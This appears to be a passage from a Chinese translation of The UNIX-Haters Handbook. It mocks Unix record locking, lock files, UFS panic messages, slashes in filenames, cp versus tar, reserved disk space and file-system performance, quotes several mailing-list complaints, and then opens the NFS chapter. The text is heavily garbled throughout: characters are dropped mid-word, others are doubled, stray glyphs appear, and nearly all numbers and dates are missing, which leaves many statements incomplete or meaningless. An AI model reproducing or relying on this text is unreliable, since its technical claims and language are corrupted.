香 火 , 少少 有 人 想 得 到 文 件 类 型 的 用 处 。“ 少少 有 人 ” 的 是 除 了 麦 金 塔 用 户户 ,<br />
他 们 就就 在 享 文 件 类 型 了 。<br />
没 有捯 记 录 长 度<br />
不 有 多 少少 数 据据 是 基 于 Unix 系 的 ,Unix 文 件 系 打 一 开 始 就就 不 支<br />
持 保 存 文 件 的 录 长 度 。 保 存 和 维 护 录 长 度 的 担 子 再 落 到 程程 序 员 肩 。<br />
要 是 出 了 题 怎 么 ? 结 果 再 决 于 你 在 使 用 哪 个 程程 序 有 些 程程 序 检<br />
测 到 差 别 , 大 部 分 却 无 于 衷衷 。 就就 是 能 发发 生 这 种 情 况 有 个 程程 序 往 文 件<br />
写 入 的 录 每 字 节 , 然 别 的 程程 序 字 节 单 读 来 还 浑 然 不<br />
知 , 一 切 皆 有 能 …盚…盚<br />
Unix 把把 自 己 的 数 据据 盒 盒 、 用 户户 分 组 和 邮 件 别 盒 盒 都 保 存 在 文 <br />
文 件 中 。 一 般 情 况 , 中 的 内 容 需 要 从 头 读 到 尾 。 这 “ 录 ” 成 <br />
了 用 换 行 符 结 尾 的 行 。 虽 然 在 每 个 文 件 都 不 过 二 十十 行 的 时 , 这 种 法 已<br />
经 够 用 了 , 但 是 当 Unix 来 到 “ 真 世 界 ”, 人 们 开 始 往 这 些 文 件 放 几<br />
百 千千 行 内 容 。 结 果 呢 ? 系 数 据据 立立 刻 成 瓶 , 我 们 的 是 真 的 减<br />
。 用 户户 数 倍 , 性 能 就就 减 半半 , 而 真 的 系 不 该 用 户户 增 长 而 烦 恼 。<br />
了 缓 存 /etc/password、/etc/group, 及 它 键 数 据据 文 件 , 临 时 拼 凑 的 方<br />
案 不 四 个 , 但 各 有 各 的 局 限 。 这 明 什 么 你 需 要 快 计 算 机 才 能 运 行<br />
Unix。
· · 文挱 件 系 统<br />
文挱 件 和 记 录 锁<br />
“ 录 锁 ” 不 是 让 美 国 国 内 税 局 永永 看 不 到 你 的 资 录 , 而 是<br />
在 你 手手 脚 时 让 他 们 看 不 到 。 税 局 能 看 到 净 的 快 照 , 而 不 能 发发 现 你 的<br />
真 情 况 。 计 算 机 差 不 多 是 这 多 个 用 户户 想 一 录 , 但 每 个 人<br />
都 想 单 独 并 让 别 人 边 站 。 尽 管 Unix 不 直 接接 支 持 录 , 但 并 不 缺 少少 录<br />
锁 。 人 们 惊 讶 地 发发 现 , 现 Unix 的 录 锁 不 是 一 个 两 个 , 而 是 个 ,<br />
并 且 彼 大 相 径 庭 。<br />
在 很 的 时 候 Unix 完 全 没没 有 录 锁 , 锁 这 种 能 有 这 个 概概 念 很<br />
净 的 操 作 系 的 精 神 , 即 “ 有 自 死 翘 翘 ”。 觉 得 录 锁 不 必 非 得<br />
操 作 系 来 施 盒 盒 程程 序 员 作 就就 了 。 所 当 Unix 黑 们 最 意 到<br />
需 要 建 立立 和 维 护 锁 文 件 时 , 他 们 就就 想 到 了 “ 锁 文 件 ”。<br />
锁 机 制 的 建 立立 有 赖 于 所 谓 “ 原原 子 操 作 ”, 这 是 一 种 不 能 中 途 打 断 的<br />
操 作 。Unix 运 行 的 程程 序 好 比 玩 打 架 的 小小 朋 友 , 不 过 这 个 玩 做<br />
“CPU”, 并 且 打 得 没没 完 没没 了 。 那 么 要 在 不 方 便 的 时 候 不 放 CPU, 就就 像 不<br />
让 你 的 傻 小小 抢抢 走 玩 一 , 原原 子 操 作 就就 能 保 证 了 。<br />
Unix 有 个 临 时 拼 凑 的 方 案 做 锁 文 件 , 基 前 提 是 建 一 个 文 件 是<br />
原原 子 操 作 , 意 味 着 一 个 文 件 已 经 存 在 时 , 程程 就就 不 能 再 建 一 。 比 如 某 个<br />
程程 序 想 修 改 一 个 做 losers 的 键 数 据据 , 就就 首 先 建 一 个 锁 文 件 losers.lck。<br />
如 果 建 成 , 程程 序 就就 假 已 经 锁 成 把把 玩 losers 文 件 了 。 程程 序 运<br />
行 结 , 需 要 删 除 文 件 losers.lck。 如 果 别 的 程程 序 想 时 修 改 文 件 losers,<br />
将将 无 法 建 立立 losers.lck, 所 执执 行 sleep 系 调 用 盒 盒 等 待 几 秒 钟 盒 盒 然 <br />
再 试 一 。<br />
这 种 “ 方 案 ” 有 个 显 而 易 见 的 缺 陷 程程 一 遍 又 一 遍 尝尝 试 建 锁 是 在 浪<br />
CPU 时 间 。 外 一 个 题 更 严 , 系 ( 或或 建 锁 文 件 的 程程 序 ) 崩 溃<br />
, 锁 文 件 继 续 存 在 , 结 果 文 件 永永 处 于 锁 状 。 对 策 是 修 改 方 案 ,<br />
将将 锁 程程 的 ID 写 锁 文 件 , 就就 像 民民 航 乘 把把 姓 标 签 贴 在 行 李 。 当 别<br />
的 程程 找 到 锁 文 件 , 就就 在 程程 表表 查 找 锁 的 程程 , 类 似 于 航 空空 了 找<br />
到 行 李 的 人 , 就就 在 飞 机 落 满 大 街街 开 车 乱 窜 。 要 是 锁 的 程程 没没 找 到 ,<br />
就就 明 这 个 程程 已 经 翘 辫 子 了 , 因 新 程程 删 除 锁 文 件 , 然 再 试 图 <br />
锁 。 又 一 个 拼 凑 方 案 , 又 一 个 Unix 运 行 缓 慢 的 原原 因 。<br />
在 这 个 法 中 沉沉 沦沦 一 段 时 间 , 伯 克 利 提 出 了 建 锁 的 概概 念 。 引 自<br />
ock(2) 手手 册 页 ( 不 是 我 们 编 的 )<br />
建 锁 允 并 发发 的 程程 对 文 件 施 一 致 的 操 作 , 但 对 并 不 保 证 ( 就就 是 , 程程 绕<br />
开 已 经 处 于 不 一 致 状 的 建 锁 直 接接 文 件 )。
UFS: 邪 恶 之 源<br />
· ·<br />
与 时 呢 ,AT&T 想 把把 Unix 卖 到 企 业 市 场 去去 , 因 需 要 录 锁 <br />
能 ,AT&T 的 法 是 强 制 录 锁 , 开 始 一 切 都 好 盒 盒 直 到 SVR, 那 时 Sun 和<br />
AT&T 必 把把 两 种 不 的 法 并 到 一 个 膨 的 内 中 , 题 来 了 。<br />
期 Thu, May :: PDT<br />
来 自 迈 克 尔尔 核 泰 曼 <br />
发发 给 UNIX 痛 者<br />
题 发发 现 新 的 Unix 脑 损 伤<br />
我 旁 边 着 一 个 崭 新 的 Unix 害 者 。<br />
我 们 是 老 朋 友 了 , 多 来 一 起 被被 世 界 最 烂 的 操 作 系 ( 就就 是 Unix, 对 你 们 Unix 粉 丝<br />
来 ) 折折 磨 。 他 最 痛 的 一 点 就就 是 “ 所 谓 的 ” 缺 少少 文 件 锁 , 每 到 这 时 他 就就 忍 不 把把 题<br />
延 伸 到 别 处 , 比 如 在 真 的 操 作 系 (ITS、MULTICS 等 等 ), 用 户户 从 不 担 心 丢 失 邮<br />
件 、 丢 失 文 件 , 或或 者 开 机 还 要 运 行 fsck…盚…盚Unix 粉 丝 苦 行 僧 自 我 鞭 打 的 气 概概 , 忍 <br />
着 这 些 鸡 零 狗 碎 的 麻 烦 事 。<br />
他 还 试 着 修 改 某 些 在 Unix 运 行 的 码 ( 谁 在 意 ?), 中 的 原原 因 我 不 想 。 然 而 不<br />
是 多 力 还 是 感 而 死 , 都 比 不 Unix 给 他 的 震 撼撼 某 他 发发 现 Unix 并 不 是 没没 有<br />
文 件 锁 , 岂 是 有 ,Unix 有 两 套 !<br />
当 然 了 , 这 二 是 彼 不 认 的 , 但 事 情 最 美 妙 的 地 方 是 还 有 第 个 系 调 用 , 告 知 你<br />
到 想 用 两 种 锁 当 中 的 哪 一 个 ( 或或 是 一 起 !)。<br />
迈 克 尔尔<br />
这 当 然 不 是 , 今 的 Unix 系 你 就就 找 不 到 锁 文 件 了 。 多 现 <br />
Unix 生 就就 离 不 开 锁 文 件 , 比 如 UUCP 和 cu 目 前 的 现 。 再 了 , 锁<br />
文 件 和 Unix 的 纠 葛 如 深 沉沉 , 今 多 程程 序 员 还 在 用 着 , 却 对 背 的 题<br />
不 甚 了 了 。<br />
磁 盘 必 须 完 美<br />
Unix 的 一 个 通 病 和 完 美 有 虽 然 Unix 身 毫毫 无 完 美 言言 , 但 却 期 望<br />
的 硬 件 完 美 。 这 么 是 因 Unix 程程 序 员 基 不 注 硬 件 故 障 , 当 题<br />
就就 要 发发 生 时 , 他 们 却 管 盲 目 地 往 前 跌 跌 撞撞 撞撞 , 直 到 摔摔 个 四 脚 朝 然 惊 慌<br />
失 措 ( 这 种 事 情 今 不 常 见 了 , 因 SCSI 硬 大 都 知 道 如 何 检 测 并 置 换 即<br />
将将 损 的 块 )。<br />
按按 照 辞 的 义 ,“ 惊 慌 ” 的 意 思 是 “ 因 到 意 外 刺 激 而 感 到 紧 张 、 害<br />
怕 或或 奋 ”。 这 对 Unix 内 崩 溃 真 是 最 好 的 写 照 计 算 机 在 系 控 制 打<br />
印 “panic” 然 一 不 , 把把 程程 在 的 文 件 系 搞搞 得 一 团 糟 。<br />
是 一 些 意 思 比 较 清 楚楚 (?) 的 崩 溃 原原 因
· · 文挱 件 系 统<br />
消 息<br />
义<br />
panic:fsfull 文 件 系 满 了 ( 写 入 失 ), 但 Unix 不 知 道 原原 因 是 什 么 。<br />
panic:fssleep<br />
fssleep() 被被 调 用 了 , 但 没没 什 么 理 。<br />
panic:alloccgblk:cyl groups corrupted<br />
Unix 无 法 据据 磁 块 确 柱 。<br />
panic:DIRBLKSIZ>fsize<br />
目 录 文 件 小小 于 最 小小 目 录 大 小小 , 或或 者 类 似 的 理 。<br />
dev=0xXX,block=NN,fs=ufs panic:free_block:freeing free<br />
block<br />
Unix 试 图 释 放 一 个 已 经 释 放 的 块 ( 你 大 概概 惊 讶 遇 到<br />
这 个 题 的 频 繁 程程 度 , 一 你 又 遇 不 到 了 )。<br />
panic:direnter:target directory link count Unix 不 小小 心 把把 目 录 的 链 接接 计 数 减 到 或或 者 负 数 了 。<br />
列 出 的 最 两 消 息 最 清 楚楚 地 证 明 了 Unix 对 于 完 美 磁 的 要 求 。<br />
在 这 两 种 情 况 ,UFS 从 磁 读 了 一 块 数 据据 , 然 对 执执 行 操 作 ( 例 如 减 少少<br />
某 个 结 构 中 的 某 个 数 值 ), 最 得 到 怪 的 结 果 。 怎 么 ?Unix 中 断 操<br />
作 ( 返 回 错 误 给 用 户户 ),Unix 布 备 “ 损 ” 然 将将 卸 载 ,Unix 甚<br />
至 还 尝尝 试 “ 修 复 ” 这 个 数 值 ( 比 如 通 过 做 些 有 用 的 事 情 )。Unix 采 的<br />
是 第 四 种 , 是 最 简 单 的 方 式 直 接接 死 翘 翘 , 逼 着 你 过 儿 再 收 拾 烂 摊摊 子<br />
( 回 来 , 要 不 系 管 理 员 嘛 的 ?)。<br />
近 几 ,Unix 文 件 系 对 磁 故 障 的 容 忍 程程 度 貌 似 比 前 高 了 一 点 点 ,<br />
但 这 是 因 现 磁 控 制 呈 现 完 美 磁 的 假 象 ( 体 来 , 当 检 测<br />
到 一 个 即 将将 损 的 块 ,SCSI 硬 控 制 把把 数 据据 复 制 到 别 处 的 块 , 然 改<br />
写 一 张 映 射射 表表 , 而 Unix 对 完 全 不 知 情 。)。 然 而 西 摩摩 核 克 雷 过 “ 你 没没<br />
有 的 东 西 是 假 装装 不 了 的 。” 磁 整 个 掉 , 那 时 候 UFS 美 又 要 显 露<br />
出 来 了 。<br />
挤 开 那 掅 斜挵 杠<br />
UFS 允 用 任 何 字 符 构 成 文 件 , 除 了 斜 (/) 和 ASCII 码 的 NUL 字 符<br />
( 有 些 Unix 版 允 置 ASCII 码 字 符 的 高 , 比 特 , 但 别 的 又 不 允 )。<br />
这 个 能 简 直 酷 毙毙 了 盒 盒 尤尤 是 对 于 采 用 文 件 超 过 个 字 符 的<br />
伯 克 利 FFS 的 Unix。 这 意 味 着 你 尽 情 建 各 种 信 息 丰 富 、 容 易 理 解解 的 文<br />
件 , 就就 像 这 <br />
Sales Report<br />
Personnel File: Verne, Jules<br />
rt00mfkbgkw0.cp<br />
然 而 很 不 幸 ,Unix 的 余 部 分 没没 这 么 宏 大 。 像 这 几 个 文 件 ,<br />
有 rtmbgkw.cp 能 被被 大 多 数 Unix 程程 序 ( 一 般 都 不 能 容 忍 文 件 <br />
中 的 空空 格 ) 接接 。<br />
<br />
译 注 Seymour Cray( 月 ~ 月 ), 美 国 人 , 超 级 计 算 机 父 。
UFS: 邪 恶 之 源<br />
· ·<br />
但 是 不 用 烦 恼 ,Unix 真 的 允 你 将将 控 制 字 符 和 图 形 符 入 文 件 <br />
( 有 些 版 还 不 要 文 件 )。 这 成 一 个 不 得 了 的 全 能<br />
盒 盒 特 别 是 当 你 的 键 有 别 人 没没 有 的 控 制 键 时 。 这 就就 对 了 , 你 置 文<br />
件 让 别 人 无 法 。 对 于 Unix 薄 弱 的 全 控 制 能 力 来 , 这 算<br />
是 一 个 补补 。<br />
回 忆 Unix 给 文 件 置 的 死 规 中 对 不 能 包 括括 神 的 斜 字<br />
符 (/), 因 Unix 内 用 斜 表表 示 子 目 录 。 了 贯 彻 这 要 求 ,Unix 内 <br />
直 接接 就就 不 准 建 字 带 斜 的 文 件 ( 但 是 你 把把 文 件 的 比 特 ,<br />
在 某 些 Unix 版 这 是 被被 当 作 斜 字 符 的 )。<br />
对 不 能 吗 ? 好 吧 , 该 是 基 不 能 。<br />
期 Mon, Jan :: PST<br />
来 自 sun!wrs!yuba!steve@decwrl.dec.com( 斯 蒂 核 )<br />
题 Info-Mac 摘摘 要 第 卷 第 期 <br />
我 现 在 遇 到 个 相 当 棘棘 手手 的 题 。 我 们 有 一 GatorBox 运 行 着 NFS/AFP 转 换 程程 序 , 用<br />
来 接接 若 苹 果 机 和 Sun 机 , 中 一 Sun 是 AppleShare 文 件 服 。 一 切 都 <br />
作 得 很 好 !<br />
现 在 题 。 苹 果 电 脑 在 Sun/Unix 文 件 服 建 字 包 “/” 的 文 件 , 这 很<br />
好 , 但 你 没没 法 用 restore 从 dump 制 作 的 磁 带 恢 复 这 些 文 件 。 遇 到 这 种 情 况 restore 程程<br />
序 崩 溃 , 而 据据 我 所 知 磁 带 是 完 好 的 。<br />
怎 从 备 份 磁 带 出 这 些 文 件 , 有 人 给 个 建 吗 ?<br />
先 谢 谢 了 。<br />
斯 蒂 核 <br />
sun!wrs!steve, steve@wrs.com<br />
风 河河 系 <br />
Emeryville CA, <br />
显 而 易 见 了 ,Sun 在 大 约 开 发发 的 NFS 服 程程 序 ( 运 行 在 内 中 )<br />
就就 假 ,NFS 户户 端 绝 对 不 会 发发 包 斜 的 文 件 , 所 懒 得 检 查 非 法 字<br />
符 。 这 些 文 件 真 的 被被 dump 写 了 磁 带 让 我 们 很 惊 讶 ( 又 是 这 , 或或 <br />
没没 有 写 去去 。 前 没没 法 确 认 , 现 在 行 了 吗 ?)。<br />
<br />
译 注 Steve Sekiguchi。<br />
<br />
译 注 Info-Mac 是 一 个 针 对 苹 果 品 的 在 线 社 区 、 新 闻 聚 和 件 共 享 的 。 建 时<br />
是 一 个 电 子 邮 件 列 表表 , 右 停 服 , Web . 的 形 式 新 开 放 。 在 苹 果 用 商 店 有<br />
Info-Mac 户户 端 iForum。<br />
斯 蒂 芬 核 斯 特 拉拉 斯 曼 转 发发 到 UNIX 痛 者 。<br />
<br />
译 注 Cayman Systems 生 的 接接 网 和 苹 果 LocalTalk 网 的 路 。<br />
<br />
译 注 Apple Filing Protocol, 苹 果 专 有 的 文 件 服 协 。<br />
<br />
译 注 AppleShare 是 苹 果 的 文 件 共 享 解解 决 方 案 ,AppleShare 文 件 服 是 提 供 的 用 层 协 <br />
一 。AppleShare 运 行 在 AppleTalk( 苹 果 专 有 的 网 协 族 ) 或或 者 TCP/IP 。
· · 文挱 件 系 统<br />
改挢 目 录 位 置<br />
有 史 来 ,Unix 就就 没没 有 提 供 任 何 递 归 地 处 理 文 件 目 录 。 考 虑<br />
到 Unix 发发 明 了 层 文 件 系 ( 尽 管 并 非 事 ) 而 感 沾 沾 自 喜 , 这 个 状<br />
况 相 当 让 人 惊 讶 。 例 如 十十 多 来 ,Unix 一 直 没没 有 标 准 程程 序 把把 目 录 从 一 个 <br />
备 ( 或或 者 分 区 ) 移移 到 一 个 。 尽 管 目 前 有 些 Unix 版 有 mvdir 命 , 但 多<br />
来 标 准 的 做 法 是 调 用 cp 命 。 现 在 确 还 有 多 人 用 cp 做 这 件 事 情 ( 哪<br />
怕 这 个 程程 序 不 保 留 修 改 期 、 作 者 , 和 它 文 件 属属 性 ), 然 而 cp 有 能 扇扇 你<br />
一 耳 光 。<br />
期 Mon, Sep :: EDT<br />
来 自 艾 伦 核 鲍 登 <br />
题 UNIX 痛 者<br />
题 还 有 什 么 ?<br />
有 没没 有 想 过 将将 一 批批 有 目 录 层 的 文 件 复 制 到 别 处 ? 最 近 我 想 过 , 然 在 手手 册 找 到 cp(1)<br />
命 的 信 息 <br />
称<br />
cp - 复 制 文 件<br />
…盚…盚<br />
cp -rR [ -ip ] directory directory<br />
…盚…盚<br />
-r<br />
-R 递 归 。 如 果 源 文 件 中 有 目 录 , 就就 复 制 目 录 和 中 的 文 件 ( 包 括括 任 何 子 目 录 和 中 的 文<br />
件 ), 目 标 必 是 一 个 目 录 。<br />
貌 似 是 我 要 找 的 东 西 , 对 不 对 ?( 时 刻 肯 有 一 半半 的 读 者 在 痛 苦 中 狂 喊 盒 盒 “ 不 要<br />
啊 ! 不 要 打 开 那 扇扇 门 ! 那 藏 着 形 !”)<br />
所 我 输 入 了 命 。 嗯 …盚…盚 看 来 肯 用 了 很 长 时 间 。 然 cp(1) 手手 册 的 半半 部 分 让 我 <br />
了 这 种 恐 怖 <br />
臭 虫<br />
cp(1) 复 制 符 链 接接 指指 向 的 文 件 的 内 容 , 而 不 是 符 链 接接 身 。 当 复 制 目 录 层 时 这 能<br />
成 不 一 致 的 状 况 , 因 文 件 间 来 的 链 接接 系 在 复 制 就就 没没 有 了 …盚…盚<br />
这 段 对 臭 虫 的 表表 述 简 直 是 轻 描 淡 写 。 题 不 是 “ 不 一 致 ” 盒 盒 事 <br />
如 果 源 目 录 中 有 符 链 接接 循 环 , 复 制 过 程程 能 陷 入 死 循 环 。<br />
解解 决 法 嘛 , 如 任 何 有 经 验 的 Unix 老 手手 告 你 的 , 在 复 制 目 录 结<br />
构 时 用 tar 。 不 开 玩 笑 。 简 洁 , 不 是 吗 ?<br />
tar 表表 示 磁 带 归 档 程程 序 , 这 是 一 个 “ 标 准 的 ”Unix 程程 序 , 用 来 把把 磁 的 信 息 备 份 到 磁 带 。<br />
期 版 不 能 处 理 超 过 一 磁 带 长 度 的 备 份 。
UFS: 邪 恶 之 源<br />
· ·<br />
超 量 使 用 磁 盘 ?<br />
随 着 磁 空空 间 被被 消 耗 ,Unix 文 件 系 逐 渐 钝 。 要 是 磁 用 完 %<br />
还 不 节 制 , 那 么 你 的 电 脑 很 能 不 堪 折折 磨 而 罢 。<br />
Unix 老 练 政 的 手手 法 解解 决 这 个 题 数 据据 假 。 在 Unix 的 授 意 ,<br />
df 命 把把 % 占 用 的 磁 报 告 “%”,% 报 告 “%”, 诸 如 类 。 所<br />
你 的 MB 磁 能 还 剩 MB 空空 间 , 但 是 当 你 想 保 存 文 件 时 ,Unix<br />
文 件 系 已 经 满 了 。 对 于 PC 级 别 的 计 算 机 ,MB 是 一 笔 很 大 的 资 ,<br />
但 对 于 Unix 却 不 过 是 几 个 钢 镚 。<br />
想 象 被被 全 世 界 数 百 万 个 Unix 系 浪 的 磁 空空 间 总 。 什 么 要 <br />
何 时 能 购 买 更 大 的 磁 而 尽 脑 汁 呢 ? 据据 估 计 全 世 界 因 Unix 而 浪 的 磁<br />
空空 间 高 达 字 节 。 在 每 个 Unix 系 , 浪 的 空空 间 差 不<br />
多 都 足 够 你 装装 一 个 更 好 的 操 作 系 。<br />
如 果 你 碰 是 管 理 员 盒 盒 或或 者 管 理 员 身 份 运 行 的 护 程程 ( 一 般 都<br />
是 这 种 情 况 ), 那 么 还 有 件 别 扭 的 事 情 。 这 种 情 况 , 即 使 写 入 文 件 导 致<br />
性 能 ,Unix 还 是 放 行 。 所 当 你 的 磁 还 剩 MB, 而 管 理 员 写 入<br />
MB 的 新 文 件 让 磁 占 用 达 到 MB , 磁 将将 被被 用 掉 “%”。<br />
怪 么 ? 有 点 像 某 人 把把 手手 表表 拔 快 五 分 钟 , 然 每 赴 约 都 晚 到 五 分 钟 ,<br />
因 他 知 道 表表 快 了 。<br />
不 要 忘 记 write() 哦<br />
大 多 数 Unix 都 不 检 查 write(2) 系 调 用 的 返 回 值 盒 盒 而 是 假 磁 <br />
空空 间 足 够 并 且 盲 目 地 写 。 这 个 假 体 是 这 的 如 果 打 开 一 个 文 件 ,<br />
那 么 中 的 所 有 内 容 就就 都 是 写 的 。<br />
莱 昂 纳 多 核 福 勒 解解 读 如 <br />
期 Mon, Nov :: EST<br />
来 自 foner@ai.mit.edu( 莱 昂 纳 多 核 福 勒 )<br />
发发 给 UNIX 痛 者<br />
题 老 爷<br />
某 个 操 作 系 不 过 把把 文 件 系 简 单 地 改 头 换 , 却 无 法 让 者 持 续 作 , 我 真 是 爱 死<br />
这 件 事 情 了 。 中 有 个 想 法 尤尤 吸 引 我 当 文 件 系 装装 得 越 满 , 丢 的 数 据据 就就 越 多 。 我<br />
觉 得 这 有 点 像 放 使 用 的 “ 柔 性 剪 峰 ” 技 术 不 是 按按 照 规 格 一 直 容 纳 数 据据 直 到 突突 然 撞撞 墙 ,<br />
而 是 慢 慢 地 得 越 来 越 难 写 入 任 何 信 息 …盚…盚 我 看 到 过 大 约 个 帖 子 , 来 自 使 用 各 种<br />
Sun 机 的 人 , 都 在 抱抱 怨 文 件 系 大 的 持 续 的 浪 。<br />
这 一 有 莫 大 的 系 什 么 “mv” 和 别 的 程程 序 接接 收 了 shell 命 却 没没 有 移移 文 件 ,<br />
什 么 接接 了 移移 这 些 文 件 的 命 却 在 摆 那 些 文 件 …盚…盚
· · 文挱 件 系 统<br />
最捭 说 说 性 能<br />
那 么 这 一 切 都 是 了 什 么 ?Unix 拥拥 趸 们 有 个 万 一 贯 的 回 答 性 能 。 他<br />
们 希 望 相 信 Unix 文 件 系 是 有 史 来 度 最 快 、 性 能 最 高 的 文 件 系 。<br />
然 而 他 们 悲 惨 地 错 了 。 不 管 你 运 行 的 是 最 的 UFS, 还 是 新 的 经 过 改 <br />
的 FFS,Unix 文 件 系 都 制 于 若 计 缺 陷 而 不 能 提 高 性 能 。<br />
很 不 幸 ,Unix 文 件 系 的 整 个 层 计 盒 盒 目 录 不 包 内 容 、inode 没没<br />
有 文 件 , 及 文 件 内 容 被被 分 割 得 支 离 破 碎 盒 盒 都 给 任 何 容 POSIX 的 文 件<br />
系 施 了 无 法 突突 破 的 性 能 局 限 。 通 过 验 , 研 究 者 的 结 是 Sprite 和 <br />
它 文 件 系 的 性 能 比 UFS、FFS, 及 任 何 现 了 Unix 标 准 的 文 件 系 高 出<br />
% 到 %。 于 这 些 文 件 没没 有 遵 循 Unix 标 准 , 所 不 能 走 出 验 。<br />
期 Tue, May :: PDT<br />
来 自 Stanley's Tool Works<br />
发发 给 UNIX 痛 者<br />
题 “ 性 能 ” 两 个 字 怎 么 写 ?<br />
先 想 想 文 件 处 理 就就 是 Unix 计 的 基 础 , 想 想 Unix 拥拥 趸 们 花 无 数 时 间 来 修 修 补补 补补 , 想<br />
想 要 一 提 到 效 比 如 垃 圾 收 时 他 们 的 疾 言言 厉厉 色 , 再 想 想 这 个 , 来 自 近 期 一 份 谈<br />
的 结 <br />
…盚…盚 我 们 已 经 现 了 一 个 结 构 文 件 系 的 原原 型 , 称 Sprite LFS。 小小<br />
文 件 写 入 性 能 超 过 Unix 一 个 数 级 , 小小 文 件 读 和 大 文 件 写 入 持 或或<br />
超 过 。 即 使 算 文 件 系 清 理 的 开 销 ,Sprite LFS 还 是 使 用 磁 写 入<br />
带 的 %, 相 比 Unix 文 件 系 一 般 用 到 ~ %。<br />
盒 盒 smL<br />
那 么 什 么 人 们 相 信 Unix 文 件 系 拥拥 有 高 性 能 ? 因 伯 克 利 把把 他 们 的<br />
文 件 系 命 “ 快 文 件 系 ”。 好 吧 , 是 比 汤汤 逊 和 写 的 那 个 要 快 。<br />
<br />
译 注 伯 克 利 在 到 间 开 发发 的 类 Unix 操 作 系 , 引 入 了 结 构 (Log-structured) 文<br />
件 系 和 脚 语 言言 TCL。
UFS: 邪 恶 之 源<br />
· ·
第 章<br />
网 络 文挱 件 系 统<br />
望捳 之 生 畏 的 文挱 件 系 统<br />
NFS 的 “N”, 表表 示 不 是 、 缺 , 还 有 能 是 梦 魇 。<br />
盒 盒 利 核 史 赛<br />
<br />
中 期 ,Sun 开 发发 了 一 个 让 计 算 机 在 网 共 享 文 件 的 系<br />
, 网 文 件 系 盒 盒 或或 者 更 通 常 的 法 ,NFS 盒 盒 这 个 系 很 大 程程 度<br />
就就 了 Sun 作 计 算 机 生 商 的 成 。NFS 让 Sun 销 售 廉 价 的 “ 无<br />
” 作 站 , 文 件 存 放 在 更 大 的 “ 文 件 服 ”, 全 部 通 过 施 的 <br />
网 技 术 。 当 磁 得 廉 价 ,NFS 还 是 有 价 值 , 因 用 户户 共 享 文 件 很<br />
方 便 。<br />
今 大 容 存 储 装装 置 的 价 格 已 经 急 剧 跌 , 但 NFS 仍 然 流 行 人 们 <br />
把把 个 人 文 件 放 在 单 独 且 中 的 置 盒 盒 网 文 件 服 盒 盒 然 从 <br />
地 网 的 任 何 地 方 。NFS 已 经 化 出 了 一 套 详 尽 而 独 特 的 方 法 <br />
• NFS 简 化 了 网 管 理 , 因 有 一 计 算 机 需 要 期 写 入 备 份 磁 带 。<br />
• NFS 让 “ 户户 计 算 机 ” 挂 载 服 的 磁 , 就就 像 挂 载 地 磁 一 。<br />
网 的 概概 念 被被 淡 化 了 , 在 用 户户 看 来 , 几 十十 百 单 独 的 作 站 就就 像 是<br />
一 大 的 、 的 、 时 分 的 机 。<br />
• NFS 是 “ 操 作 系 无 ” 的 。 考 虑 到 NFS Unix 系 程程 序 员 计 ,<br />
Unix 开 发发 , 并 且 在 首 发发 布 几 才 在 非 Unix 的 系 测 试 过 , 这<br />
一 点 更 引 人 注 目 。 反 Sun 程程 序 员 认 NFS 并 不 特 于 Unix 任<br />
何 计 算 机 都 成 NFS 的 服 或或 户户 端 。 有 几 家 都 在 IBM<br />
PC 和 苹 果 麦 金 塔 这 的 微 型 计 算 机 提 供 NFS 户户 端 , 貌 似 证 明 了 这 一<br />
点 。<br />
<br />
译 注 Henry Spencer。<br />
我 你 不 知 道 施 拥拥 有 网 专 利 , 对 吗 ?
· · 网 络 文挱 件 系 统<br />
• NFS 用 户户 从 不 需 要 登 录 到 服 , 要 登 录 作 站 就就 了 。 在 需 要<br />
时 程程 磁 自 挂 载 , 然 透 明 地 文 件 。 除 外 , 还 <br />
把把 作 站 置 成 开 机 自 挂 载 服 的 磁 。<br />
但 是 在 这 梦 魇 文 件 系 的 使 用 中 , 理 失 了 。<br />
不 总 是捔 可 用<br />
NFS 的 基 是 所 谓 “magic cookie” 的 数 据据 对 象 。 文 件 服 的 每 个 文<br />
件 和 目 录 都 用 一 个 magic cookie 表表 示 。 读 文 件 前 , 你 得 向 服 发发 报<br />
文 , 中 包 文 件 的 cookie 和 想 读 的 字 节 范 围 , 然 服 向 你 发发 相 <br />
的 字 节 。 与 类 似 , 读 目 录 时 你 向 服 发发 目 录 的 magic cookie, 然 <br />
服 向 你 发发 该 目 录 的 文 件 列 表表 , 及 每 个 文 件 对 的 magic cookie。<br />
了 开 始 整 个 过 程程 , 你 需 要 端 文 件 系 目 录 的 cookie。 NFS 使<br />
用 了 一 个 称 MOUNT 的 单 独 的 协 向 服 的 mount 程程 发发 你 想 挂<br />
载 的 目 录 字 , 然 服 向 你 发发 那 个 目 录 的 cookie。<br />
按按 照 计 ,NFS 是 无 接接 和 无 状 的 在 现 中 NFS 却 从 做 到 过 。<br />
计 和 现 间 的 这 个 冲 突突 , 是 大 多 数 NFS 题 的 源 。<br />
“ 无 接接 ” 是 指指 服 程程 序 不 每 个 户户 端 维 护 接接 。 确 ,NFS 使<br />
用 因 特 网 UDP 协 在 户户 端 和 服 间 传 递 信 息 。 了 解解 因 特 网 协 的 人<br />
认 到 ,UDP 是 “ 不 数 据据 协 ” 的 首 字 母 缩 写 , 因 UDP 不 保 证<br />
你 的 分 组 确 被被 接接 收 。 但 没没 系 如 果 没没 有 收 到 对 请 求 的 回 答 ,NFS 户户 端<br />
是 等 待 若 毫毫 秒 然 新 发发 起 请 求 。<br />
“ 无 状 ” 是 指指 需 要 挂 载 程程 文 件 系 的 户户 端 自 己 保 存 所 需 的 全 部 信<br />
息 , 而 不 是 放 在 服 。 一 某 个 文 件 生 了 cookie, 要 文 件 还 存 在<br />
并 且 服 的 配 置 没没 有 大 化 , 即 使 服 机 启 , 这 个 凭 证 保 持 有<br />
效 。<br />
Sun 来 要 让 我 们 相 信 一 个 无 接接 无 状 系 有 个 好 处 , 那 就就 是 即<br />
使 服 崩 溃 启 , 户户 端 持 续 使 用 网 文 件 系 , 因 这 没没 有 必<br />
恢 复 的 接接 , 并 且 所 有 所 有 和 程程 挂 载 相 的 状 信 息 都 在 户户 端 。 但 事<br />
, 这 是 Sun 程程 师 的 好 处 , 因 他 们 不 必 编 写 额 外 码 地 处 理 服<br />
和 户户 端 的 崩 溃 和 启 。 在 Sun 的 岁 月 中 这 很 要 , 因 那 时 候 这<br />
二 者 的 崩 溃 都 空空 见 惯 。
不 总 是捔 可 用<br />
· ·<br />
无 接接 无 状 系 有 一 个 题 没没 法 用 。 文 件 系 从 子 就就 是<br />
有 状 的 。 一 个 文 件 你 能 删 除 一 , 然 就就 没没 了 。 这 解解 释 了 什 么 当 查 看<br />
